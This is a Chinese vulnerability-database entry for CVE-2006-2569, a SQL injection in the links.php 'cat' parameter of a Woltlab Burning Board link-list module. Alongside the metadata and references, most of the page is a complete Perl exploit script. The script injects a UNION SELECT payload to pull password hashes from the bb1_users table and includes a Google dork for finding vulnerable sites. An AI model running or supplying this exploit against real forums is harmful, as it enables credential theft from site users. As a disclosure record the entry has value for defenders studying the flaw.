Woltlab Burning Board Links.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110305 漏洞类型 SQL注入
发布时间 2006-05-20 更新时间 2006-05-25
CVE编号 CVE-2006-2569 CNNVD-ID CNNVD-200605-466
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1810
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-466
|漏洞详情
WoltlabBurningBoard模块,4RLinklist1.0RC2及之前版本的links.php中存在SQL注入漏洞。远程攻击者可以借助cat参数执行任意SQL指令。
|漏洞EXP
#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.4 <= "links.php" SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  666 (SR-Crew)                                         ##
##  Bug by           |  x82                                                   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path]                              ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
		print "[+] Hash: $1\n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		break;
	}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
	if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
		print "[+] Hash: $1\n";
		exit();
	}
	if ($answer =~ /SQL-DATABASE ERROR/) {
		print "[+] Try replacing bb1_users with bb2_users\n";
		break;
	}
}
close($sock);

print "[+] Exploit failed\n";

# milw0rm.com [2006-05-20]
|参考资料

来源:BID
名称:18077
链接:http://www.securityfocus.com/bid/18077
来源:VUPEN
名称:ADV-2006-1925
链接:http://www.frsirt.com/english/advisories/2006/1925
来源:SECUNIA
名称:20167
链接:http://secunia.com/advisories/20167
来源:MILW0RM
名称:1810
链接:http://milw0rm.com/exploits/1810
来源:XF
名称:wbb-links-sql-injection(26592)
链接:http://xforce.iss.net/xforce/xfdb/26592